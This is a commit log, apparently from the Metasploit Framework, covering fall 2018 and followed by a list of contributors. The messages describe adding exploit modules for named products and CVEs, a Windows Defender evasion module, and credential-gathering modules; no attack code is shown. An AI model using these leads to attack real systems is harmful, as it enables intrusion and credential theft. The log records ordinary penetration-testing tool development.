improve windows_defender_js_hta :
...
-add platform detection for jsc
-prevent cmd prompt when launching jsc
2018-10-11 17:38:47 +02:00
1da99c8bd1
Fixed syntax errors
...
Corrected redundant returns and indentation errors
2018-10-11 10:01:47 -04:00
86f7c270c6
Fixed stylistic and syntax errors
2018-10-11 09:19:35 -04:00
ed2ba1cb00
add support for ProcessName option, defaults to spoolsv.exe
2018-10-11 17:23:59 +08:00
ce848712dd
add support for ProcessName option, defaults to spoolsv.exe
2018-10-11 10:56:07 +08:00
c0aff8f134
Description update / typo fix
...
fix typo in module description (added one word)
2018-10-10 17:56:17 -04:00
04cc40136f
changed formatting, deleted post, renamed files
2018-10-10 14:41:14 -05:00
76325bd21e
fixed indentation
2018-10-10 14:18:44 -05:00
fb689da24c
Land #10335 , Add vlc_mkv exploit module
2018-10-10 13:47:08 -05:00
0f3917f540
Fixed syntax errors
2018-10-10 13:26:49 -04:00
50a7ee5e6a
Minor modifications
2018-10-10 12:22:47 -05:00
ee2c6274c7
Updating description
2018-10-10 22:26:07 +05:30
4a821101ce
Fixing cmd_exec_get_pid
2018-10-10 21:59:46 +05:30
796579e265
Use fail_with
2018-10-10 11:24:16 -05:00
4beb434054
Default Payloads
...
exploit:vlc_mkv default target payloads
2018-10-10 11:23:17 -05:00
c1c07d5c8f
Updating
...
Suggestion given by Shelby
2018-10-10 21:30:12 +05:30
fe356dabca
convert payload to dylib
2018-10-10 23:35:20 +08:00
8826932f72
Fix syntax errors
2018-10-10 14:39:07 +00:00
15cfeb37ea
CamelCase
2018-10-10 14:35:34 +00:00
7a048afd14
Make WritableDir an advanced option
2018-10-10 14:12:29 +00:00
4653cbdda1
add macho mixin
2018-10-10 20:27:56 +08:00
7fce2bd428
initial commit of 32bit trident exploit
2018-10-10 17:41:28 +08:00
dbcee56995
Fixing spaces at EOL
2018-10-10 15:10:58 +05:30
f2ebdd4cdf
add apple_ios/armle/meterpreter/reverse_tcp
2018-10-10 17:39:51 +08:00
619a07fc3c
Update
2018-10-10 14:21:08 +05:30
6cdfbdd281
Land #10554 , Rescue REX runtime errors in x86 encoders
2018-10-09 22:52:48 -05:00
1cb8418b2d
Filename options
...
exploit:vlc_mkv overwrite fileformat filename method
to supply options
2018-10-09 21:15:10 -05:00
94f260f289
exploit rand_text
...
exploit:vlc_mkv use rand_text functions defined in exploit.rb
2018-10-09 21:15:05 -05:00
e07da5c518
EDB Ref Fix
...
exploit:vlc_mkv
2018-10-09 20:57:44 -05:00
26482ee6d6
Fixed EOL spaces
2018-10-09 18:30:41 -04:00
9c9cd33c34
Fixed syntax errors and inconsistencies
2018-10-09 17:45:02 -04:00
af594f6744
Merge in master
2018-10-09 12:56:31 -05:00
c86f68cb60
Minor changes to module, updated documentation.
2018-10-09 20:39:00 +06:30
4332c4cffd
Increased linemax from 128 to 2048.
2018-10-09 15:35:47 +06:30
97b398963b
Suggestions by @bcoles implemented, randomized MAC
2018-10-09 14:02:56 +06:30
e2f9fb5d8e
Updating Indentation
2018-10-09 12:52:34 +05:30
9bbd90f978
Style fixes and add full disc URL
2018-10-09 13:38:13 +07:00
78624b7020
Updated documentation and fixed the code (mostly).
2018-10-09 10:52:06 +06:30
9ec989a1bd
Address @bcoles' review in #10672
2018-10-08 14:15:21 -05:00
6e10718ed5
Format ZDI ref correctly.
2018-10-08 13:48:52 -05:00
f7d2815a01
Add a ZDI reference
2018-10-08 13:23:50 -05:00
bed497c6ae
Land #10672 , Add COMMGR Buffer Overflow module
2018-10-08 10:04:52 -05:00
0fe989b42f
Code streamlining.
2018-10-08 21:12:27 +06:30
4cc2c22026
Used a command stager, improved upon vulnerability detection and
...
generally attempted to streamline most of the code. Hardcoded one
vulnerable URI since it's the most likely to be present in all versions
of the vulnerable firmwares.
2018-10-08 20:51:58 +06:30
56a39545c6
Updating
2018-10-08 16:40:19 +05:30
097e9b8bfe
Indentation
2018-10-08 14:48:05 +05:30
b552b803bb
Still working on the HTTP stager.
2018-10-08 15:18:47 +06:30
fcb0b90d7a
Fixed numbering in the documentation steps, offed some whitespace,
...
streamlined the send_request_cgi, removed the conn_check.
2018-10-08 15:04:32 +06:30
b08c5ad597
Adding DefaultOptions
2018-10-08 13:24:48 +05:30
22d0325d33
Add placeholder for full disclosure URL
2018-10-08 12:33:36 +07:00
743a72dff6
Remove header from my own repo
2018-10-08 12:17:11 +07:00
f0443bbb57
Create cisco prime exploit
2018-10-08 12:16:24 +07:00
3340cf529c
Fixed duplicate output for check.
2018-10-08 11:19:24 +06:30
272f26640b
Added module for CVE-2016-1555 (netgear_unauth_exec)
...
and its corresponding wordlist file (netgear_boardData_paths.txt).
2018-10-08 10:22:59 +06:30
94e45b12b1
Replace cmd generation with built-in stager module
2018-10-07 10:15:10 +08:00
5951f5724e
Pass msftidy
2018-10-06 16:04:07 -05:00
da525db6e9
Updating
2018-10-07 01:54:20 +05:30
7c1fbf2c5a
Update description
2018-10-06 09:22:35 -05:00
a25a7086b2
Rename file
2018-10-06 09:20:15 -05:00
c7efd57144
Sync up with master
2018-10-06 08:27:01 -05:00
3d507250b0
Land #9745 , Update QNX iwatchd to use newer APIs
2018-10-06 05:06:42 -04:00
c9ebe5ae23
Land #9745 , Add ifwatchd QNX privilege escalation exploit module
2018-10-06 05:03:50 -04:00
89b6aafd85
Use register_file_for_cleanup
2018-10-06 04:37:04 +00:00
e2f97c75a0
Land #10616 , update Unitrends UEB module to support vulnerabilities in version 10
2018-10-05 16:20:38 -05:00
a51243ce91
Land #10745 , Update lastore_daemon_dbus_priv_esc tested versions
2018-10-05 11:35:31 -04:00
7bc98e0ea8
Fix formatting and convert a missed AKA reference
2018-10-05 03:22:08 -05:00
d9cb052189
Fix improper use of the Ruby shovel operator (<<)
...
junk would be modified and returned, and we just want to return the
concatenated string. Practically doesn't matter, but it's incorrect.
This was my first public module. I've been wanting to fix this since.
I'm noticing it again now as I look for how I used Ret in a target.
2018-10-05 02:18:06 -05:00
0f34f94496
Add back SSL options for tc-agent-xmlrpc-module
2018-10-05 15:11:13 +08:00
8ae0bcbacd
Refactor if statements to be cleaner
2018-10-05 09:48:44 +08:00
28fb27187a
Land #10418 , Add DCOM/RPC NTLM Reflection (MS16-075) Via Reflective DLL
...
Merge branch 'land-10418' into upstream-master
2018-10-04 16:54:53 -05:00
9a45c66db4
Fixed check to you know, check.
2018-10-04 16:38:35 -05:00
fe7ce02dfd
Update tested versions
2018-10-04 21:13:21 +00:00
9f30512532
Land #10707 , module traits to augment module rank
2018-10-04 13:26:14 -05:00
071aa04111
Land #10738 , Add Zahir Enterprise 6 build 10b BOF
2018-10-04 11:00:12 -05:00
fb60558777
Land #10712 , Make exploit/linux/http/axis_srv_parhand_rce more stable
2018-10-04 10:10:28 -05:00
060c68d2e0
Aligment, minor modifications
2018-10-04 10:10:09 -05:00
8b955f8ec5
Land #10704 , Navigate CMS Unauthenticated RCE
2018-10-04 06:44:21 -05:00
9f8f0b8885
Fixing carriage/spaces return at EOL
2018-10-04 15:41:46 +05:30
783789d098
Updating
2018-10-04 15:01:06 +05:30
ff0ee51da1
Land #10686 , ARGS, TIMEOUT, and output to upload_exec module
...
Merge remote-tracking branch 'upstream/pr/10686' into upstream-master
2018-10-04 04:28:02 -05:00
144c76ecd4
Latest fix based on @jrobles-r7 recommendations
...
Fixing:
- MetasploitModule class changed
- Remove the word 'exploit' from name
- Remove StackAdjustment
- Remove Privileged option
- Remove make_nops(12)
- Remove extra buffer at the end of exploit
2018-10-04 16:18:02 +07:00
991ac3c671
Fixing for msftidy
...
Fixing some format because still throw errors
2018-10-03 18:55:29 +07:00
11d9b44922
Add exploit module for TeamCity Agent XMLRPC
2018-10-03 18:33:10 +08:00
cb5d68b641
Fixing based on msftidy.rb
...
Makes msftidy happy
2018-10-03 17:13:24 +07:00
5af2131fdf
Add additional target checks
2018-10-03 02:12:13 -05:00
c37b6ade84
Add response checking and printing
2018-10-03 00:10:40 -05:00
e0a664c0cd
Improve prints, use FileDropper, and bump TIMEOUT
2018-10-02 21:53:18 -05:00
52b0606656
Add internet-connected Crock-Pot remote control
2018-10-02 20:20:09 -05:00
428d368444
shut up, rubocop
2018-10-02 14:40:55 -05:00
64d53cd882
code cleanup
2018-10-02 14:06:25 -05:00
4927f96f61
Fixed small typo
2018-10-02 15:57:57 +02:00
97729727d8
Minor modifications
2018-10-02 06:57:04 -05:00
faae2ac2f9
Land #10725 , move post/android/gather/subinfo
2018-10-02 05:14:41 -05:00
2c0d4de70b
Land #10732 , add api key for android wlan_geolocate
2018-10-02 05:09:10 -05:00
6dd36bd8da
Land #10427 , add OSX VNC password gather module
2018-10-02 14:47:51 +08:00
b5cf682169
cleanup post/osx/gather/vnc_password_osx and add loot/credentials
2018-10-02 14:22:09 +08:00
b993d74f6c
minor tweak
2018-10-02 11:41:58 +08:00
5cfc19b804
fix post/multi/gather/wlan_geolocate on Android
2018-10-02 11:35:47 +08:00
6f5a8f8f42
Fix outdated metadata
2018-10-01 18:59:09 +01:00
a0052c7f47
Add evasion module using HTA + JavaScript + C#
2018-10-01 12:57:05 -05:00
37dc0ce64d
fix post/android/gather/subinfo.rb path
2018-10-01 16:54:46 +08:00
b678db8bb6
Remove spaces at EOL
2018-09-29 15:29:51 -04:00
ff560ee990
Add test for Zahir 0day exploit
...
Add test for Zahir 0day exploit, need to test more e.g. VirtualBox or Physical machines.
2018-09-29 18:59:14 +07:00
8d1d6ff29f
Create PureVPN Credential Collector Post Explotation Module
2018-09-28 12:00:34 -04:00
ee06ec2fda
Background a subshell to continue execution
...
This provides a more stable injection. I should have tested this sooner.
2018-09-27 23:51:42 -05:00
0dab5b622f
Change default target to cmd/unix
2018-09-27 23:39:32 -05:00
e999b4d81c
Lower rank to AverageRanking
2018-09-27 23:28:13 -05:00
7a2d0acee6
Add basic check method and move rand_srv
...
The .srv can be random each request.
2018-09-27 23:28:13 -05:00
d29d936d6f
Bump WfsDelay to 10 for this slow-ass device
2018-09-27 23:28:13 -05:00
e4256f4595
Make ENABLE_STATIC an OptBool, as I should have done in the first place
2018-09-27 17:54:22 -05:00
086e2b311b
Update constants
2018-09-27 12:31:04 -05:00
342cfe4199
Refactor again
2018-09-27 12:38:05 +02:00
82b1f40925
Add cleanup code
2018-09-27 11:17:53 +02:00
2b86297138
Refactor
2018-09-27 11:16:54 +02:00
f55483d17d
Fix incorrect session_id extraction
2018-09-27 11:07:43 +02:00
9064fac1ff
Fix code based on Will's feedback
2018-09-26 21:13:37 -05:00
583874d370
Update use of reliability/side-effects/stability metadata
2018-09-26 18:54:08 -05:00
3bda794f00
Update upload_exec with chmod
2018-09-26 18:46:43 -05:00
4adca52103
create chmod helper function
2018-09-26 18:46:42 -05:00
81d020f810
Add a couple more Unix platforms
...
This is so we don't trigger the session compatibility warning. These
platforms have been worked on most recently.
2018-09-26 18:46:42 -05:00
a119465495
Tell the user when there's blank output
2018-09-26 18:46:42 -05:00
6dd6e8abcb
Change vprint to print because we test output
...
Fewer surprises this way when people don't set VERBOSE.
2018-09-26 18:46:42 -05:00
42fab6266d
Prefer vprint_line for better formatting
2018-09-26 18:46:42 -05:00
40f19efe2c
Don't use cmd.exe /c start so we can fetch output
2018-09-26 18:46:42 -05:00
dc1fddd31e
Move chmod so Windows doesn't do it
2018-09-26 18:46:42 -05:00
d5f5ef103f
Refactor everything and add command output
2018-09-26 18:46:42 -05:00
410abdca80
Tweak TIMEOUT to match cmd_exec's default
2018-09-26 18:46:42 -05:00
1df6c43b12
Add ARGS and TIMEOUT options to upload_exec
...
Credit to @bcoles for the initial patch.
2018-09-26 18:46:42 -05:00
04ff0931d7
Add metadata place holders for reliability/side-effects/stability
2018-09-26 17:42:54 -05:00
f882c3aec2
Add Navigate CMS Unauthenticated Remote Code Execution
2018-09-26 21:39:15 +02:00
f08cb18afd
Land #10594 , Fix hashdump and user enumeration on new macOS versions
2018-09-24 22:18:24 -05:00
3e61a98f25
use non-system users for hashdump
2018-09-24 22:17:58 -05:00
02ef565730
Update evasion_module_type branch
2018-09-24 08:20:32 -05:00
738665e56f
Add documentation for #10652
2018-09-24 17:11:24 +08:00
b486708b02
Land #10663 extremeparr solaris LPE
2018-09-23 13:53:18 -04:00
db15340306
Fixing
2018-09-22 15:30:51 +05:30
25ed5dc3a6
Moving to exploits/windows/local
2018-09-22 15:22:30 +05:30
6967f461f1
Fixes
2018-09-22 10:04:59 +05:30
56b01dcf00
Land #10534 , Add FrontPage Credential Dump Module
...
This module downloads and parses the '_vti_pvt/service.pwd',
'_vti_pvt/administrators.pwd', and '_vti_pvt/authors.pwd' files
used by FrontPage to find credentials.
2018-09-22 04:13:24 +00:00
7687e6e7b7
Update tested versions
2018-09-22 03:57:03 +00:00
849547793b
Land #10643 , CVE-2018-8440 ALPC Scheduler
...
Merge branch 'land-10643' into upstream-master
2018-09-21 15:38:45 -05:00
4116e8e205
Fixing
2018-09-22 01:00:44 +05:30
47bf780b88
specify meterpreter, update documentation
...
Warning is after spell...
2018-09-21 12:31:56 -05:00
132008cd0e
fixes
2018-09-21 17:31:26 +00:00
17c7d828c1
fixes
2018-09-21 17:16:04 +00:00
02b2559953
Update documentation to match new output.
2018-09-21 12:50:13 -04:00
0746ab5847
Create credential table.
2018-09-21 12:44:10 -04:00
a603c04da5
Create credential table.
2018-09-21 12:42:32 -04:00
c9de43c8d0
Code cleanup, feedback from bcoles
2018-09-21 10:11:26 -05:00
5842f0c012
Msftidy
2018-09-21 10:15:31 -04:00
8a0f5c12f2
Move setup info, remove accessors
2018-09-21 07:47:22 -05:00
60fcca63b7
Spaces at EOL
2018-09-21 17:04:31 +05:30
9aa746abee
Adding rank to the module
2018-09-21 16:15:43 +05:30
1b5186b112
Midified
2018-09-21 15:53:26 +05:30
d6bd0bea02
Updating unmarshal.rb
...
I have moved unmarshal.rb from '/post/windows/escalate' to '/exploit/windows/local'
2018-09-21 15:38:55 +05:30
02f4fc1876
Prefer to_s.empty?
...
Oh, hell, do it here, too.
2018-09-20 21:26:41 -05:00
c875f66154
Prefer to_s over || ''
...
Oops, I wasn't thinking clearly. to_s is cleaner.
2018-09-20 21:26:41 -05:00
a7f53b9361
Land #10628 , Add Solaris srsexec Arbitrary File Reader module
2018-09-21 01:56:43 +00:00
ee0776b095
print when not verbose
2018-09-20 20:54:41 -04:00
9da87a600f
Add LEAK_COUNT option to Heartbleed
...
I should have done this in 2014, but I'm a slacker.
2018-09-20 19:49:07 -05:00
e32abe9d45
Update Payload cached sizes
2018-09-20 17:26:15 -05:00
185931ca91
Land #10625 , repeat command to repeat commands
2018-09-20 15:24:03 -05:00
4fea65170c
Updating
2018-09-20 22:50:31 +05:30
428e1594d5
Updating
2018-09-20 22:31:10 +05:30
981fb38d52
Remove additional unused code
2018-09-20 07:04:41 -05:00
ee604e1d23
Remove unused code
2018-09-20 07:01:58 -05:00
6e51eb6c53
Rename Pimcore and Dolibarr SQLi modules
2018-09-19 22:15:14 -05:00
f99df75719
Remove uploading payload dll to disk
2018-09-19 21:24:22 -05:00
c76f095cd0
Inject Payload to Memory First
2018-09-19 21:13:49 -05:00
c5f6d4b8a5
Land #10670 , Pimcore SQLi module
2018-09-19 20:50:21 -05:00
5477220106
Update documentation
2018-09-19 20:48:42 -05:00
53f78cb7c3
Land #10673 , dolibarr_list_creds{,_sqli} rename
2018-09-19 18:55:05 -05:00
dd942ab23c
Land #10652 , iOS Safari blur denial of service
2018-09-19 15:12:22 -05:00
7698b7d7db
changed location of dolibarr module/documentation
2018-09-19 11:17:27 -05:00
42ccc37bca
Added description to module
2018-09-19 10:22:51 -05:00
8a20e0e702
Specific target, add process option
2018-09-19 08:49:54 -05:00
b6ca8cac7f
renamed/relocated files, changed uri
2018-09-19 08:11:45 -05:00
22c57d1bf0
chmod 644
2018-09-19 18:19:12 +08:00
36fa8f2ffc
Added exploit module for Delta Electronics Delta Industrial Automation COMMGR 1.08 Stack Buffer Overflow.
2018-09-19 15:28:46 +08:00
827219aff3
Revert "Added exploit module for Delta Electronics Delta Industrial Automation COMMGR 1.08 Stack Buffer Overflow"
...
This reverts commit d06587caef
2018-09-19 15:22:12 +08:00
d06587caef
Added exploit module for Delta Electronics Delta Industrial Automation COMMGR 1.08 Stack Buffer Overflow
2018-09-19 15:09:40 +08:00
5b6938e942
Revert "Added exploit module for Delta Electronics Delta Industrial Automation COMMGR 1.08 Buffer Overflow"
...
This reverts commit 1a9aa8ac3b
2018-09-19 13:20:00 +08:00
1d091408f7
Make msftidy happy
2018-09-18 20:00:08 -05:00
6a63feced4
Merge remote-tracking branch 'upstream/master' into pr/10418
2018-09-18 19:54:44 -05:00
c68f900330
Update module
2018-09-18 18:28:23 -05:00
0c842b852b
changed available? expression
2018-09-18 15:47:25 -05:00
fd8ad6f4d8
struts2_namespace_ognl: Added verbose messages for errors with Tomcat >= 7.0.88
2018-09-18 15:26:28 -05:00
e9faf305b2
randomize number, use vars_get
2018-09-18 15:03:32 -05:00
4933f47ac5
struts2_namespace_ognl: Remove debugging code
2018-09-18 14:46:41 -05:00
a9e6257891
struts2_namespace_ognl multishot OGNL payloads for Windows Meterpreter support
2018-09-18 14:27:47 -05:00
d83e108e74
added check for valid apikey, changed available?
2018-09-18 14:19:16 -05:00
2cf1fbcb2c
storing user credentials
2018-09-18 13:27:46 -05:00
4fb223b293
Add Solaris RSH Stack Clash Privilege Escalation module
2018-09-18 17:38:59 +00:00
ad59a52298
Updating
2018-09-18 22:56:45 +05:30
8e0d104925
Spaces at EOL
2018-09-18 19:39:52 +05:30
1b220514bb
Updating
2018-09-18 19:23:39 +05:30
07b79936b9
Fixing spaces at EOL
2018-09-18 15:28:00 +05:30
882d182fdb
WIP: Updating
...
Thank you bcoles
2018-09-18 15:13:12 +05:30
1a9aa8ac3b
Added exploit module for Delta Electronics Delta Industrial Automation COMMGR 1.08 Buffer Overflow
2018-09-18 16:09:05 +08:00
0108e41b04
Move AKA reference to Notes hash
2018-09-18 08:00:44 +00:00
2f5bd4b714
Add Solaris 'EXTREMEPARR' dtappgather Privilege Escalation module
2018-09-18 07:23:10 +00:00
26ebd17954
WIP: CVE-2018-8120
2018-09-18 12:37:57 +05:30
549440595f
Land #10627 , Add SMB2 support to smb_enumshares
2018-09-17 22:34:42 -05:00
6126a627cc
Land #10570 , AKA Metadata Refactor
2018-09-17 22:29:20 -05:00
a814899dc2
Land #10660 , deregister RHOSTS as well as RHOST
2018-09-17 22:26:37 -05:00
1aabf8d83f
deregister RHOSTS as well
2018-09-17 22:26:16 -05:00
83af598e6a
Updated VS solution and module
2018-09-17 17:38:19 -05:00
5089c19453
Land #10620 Solaris 10 LPE for libnspr
2018-09-17 18:10:16 -04:00
011c25ed59
Merge changes from master (ghostscript)
2018-09-17 13:57:28 -05:00
fef728dccd
getting user credentials
2018-09-17 12:39:58 -05:00
30d8a38897
deregister_options RHOSTS
2018-09-17 16:58:57 +00:00
91edebb2ef
Add references, clean up code.
2018-09-17 10:30:54 -04:00
83039781de
Background payload execution
2018-09-17 08:42:04 +00:00
c8906f8772
Add check for Solaris system patch revision
2018-09-17 08:32:52 +00:00
ff5de7b81d
Merge branch 'master' of https://github.com/rapid7/metasploit-framework into srsexec
2018-09-16 20:11:30 -04:00
a9b9e7420b
update description
2018-09-16 19:51:15 +08:00
1d2519978d
improve div tags
2018-09-16 18:57:09 +08:00
2eb97ea07b
add ios blur dos module
2018-09-16 13:44:43 +08:00
4c036e70c1
Fix http://seclists.org links to https://
...
I have no idea how this happened in my own code. I was seeing https://.
2018-09-15 18:54:45 -05:00
1ed3c0b001
Added Green-M to author list
2018-09-15 23:34:04 +02:00
f5f76a609d
Clean up - old couchdb module
2018-09-15 23:31:17 +02:00
4a72a2872f
Changes in couchdb_enum now includes versio checks
2018-09-15 21:19:51 +02:00
1f4a1a388e
Update gcc path
2018-09-15 18:16:03 +00:00
h00die
Shaksham Jaiswal
egre55
Brendan Coles
Imran E. Dawoodjee
Carsten Maartmann-Moe
christopher lee
William Vu
Aaron Ringo
Tim W
Chris Higgins
Jacob Robles
Julien Legras
Green-m
Shelby Pace
BrianWGray
Alex Gonzalez
Brent Cook
thomas.labadie
root
Jeffrey Martin
bwatters-r7
Wei Chen
l9c
Pedro Ribeiro
Spencer McIntyre
pasta
Fabien
Luisco100
Elazar Broad
Quentin Kaiser
pkb1s
kr3bz
egre55
Ivan Racic
blue-bird1
Patrick Webster
Dhiraj Mishra
amaloteaux
Patrick DeSantis
Tod Beardsley
Dylan Pindur
Thomas Gregory
Fabio Poloni
Rob
space-r7
Agora Security
asoto-r7
Pyriphlegethon
AverageSecurityGuy
7echSec
Adam Cammack
Hubert Lin
Erin Bleiweiss
Hendrik Van Belleghem